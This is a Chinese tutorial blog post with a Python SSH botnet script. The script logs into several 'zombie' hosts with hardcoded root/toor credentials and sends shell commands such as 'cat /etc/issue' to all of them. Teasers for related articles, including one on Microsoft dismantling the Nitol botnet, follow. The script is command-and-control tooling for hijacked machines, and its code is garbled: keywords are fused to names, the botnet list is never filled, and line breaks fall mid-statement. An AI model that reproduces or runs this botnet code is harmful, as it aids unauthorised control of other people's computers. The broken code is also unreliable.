每個單獨的殭屍或client都能連線上某台肉雞
以下實現了三颱主機登入一台肉雞
這三颱主機分別例項化三個不同的client物件
並加到陣列中
然後通過函式botnetcommand讀取使用者輸入的命令
並通過陣列的client物件呼叫send_command函式
三颱主機並且每一台主機傳送2條命令
所以最後又6條命令返回資訊
#!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
from pexpect import pxssh
class
client
:def
__init__
(self, host, user, password)
: self.host = host
self.user = user
self.password = password
self.session = self.connect(
)def
connect
(self)
:try
: s = pxssh.pxssh(
) s.login(self.host, self.user, self.password)
return s
except exception, e:
print e
print
'[-] error connecting'
defsend_command
(self, cmd)
: self.session.sendline(cmd)
self.session.prompt(
)return self.session.before
defbotnetcommand
(command)
:for client in botnet:
output = client.send_command(command)
print
'[*] output from '
+ client.host
print
'[+] '
+ output
defaddclient
(host, user, password)
: client = client(host, user, password)
botnet =
#假設為3臺主機
addclient(
'127.0.0.1'
,'root'
,'toor'
)addclient(
'127.0.0.1'
,'root'
,'toor'
)addclient(
'127.0.0.1'
,'root'
,'toor'
)botnetcommand(
'uname -v'
)botnetcommand(
'cat /etc/issue'
)
Python黑客攻防,構建SSH殭屍網路!
攻擊者在達成惡意目的時,通常會使用被黑掉的計算機群。我們稱之為殭屍網路 因為被黑掉的電腦會像殭屍一樣執行指令。為構建殭屍網路,我們必須引入一乙個新的概念一類。類的概念是面向程式設計物件和程式設計模型的基礎。在這一程式設計模型中,我們會把各個物件和它們所關聯的方法一起例項化。在我們的殭屍網路中,每個單...
Python黑客攻防(十三)構建SSH殭屍網路
攻擊者在達成惡意目的時,通常會使用被黑掉的計算機群。我們稱之為殭屍網路 因為被黑掉的電腦會像殭屍一樣執行指令。為構建殭屍網路,我們必須引入一乙個新的概念一類。類的概念是面向程式設計物件和程式設計模型的基礎。在這一程式設計模型中,我們會把各個物件和它們所關聯的方法一起例項化。在我們的殭屍網路中,每個單...
微軟瓦解Nitol殭屍網路
微軟剛剛瓦解了nitol殭屍網路 控制了500多種不同惡意軟體變體。該軟體巨人表示這些惡意軟體秘密地嵌入在盜版windows軟體中,通過 鏈當中的脆弱節點傳播。美國維吉尼亞州東區的地區法院同意微軟通過接管3322.org這個網域名稱 以及7萬多個藏有該惡意軟體的子網域名稱瓦解nitol殭屍網路。微軟...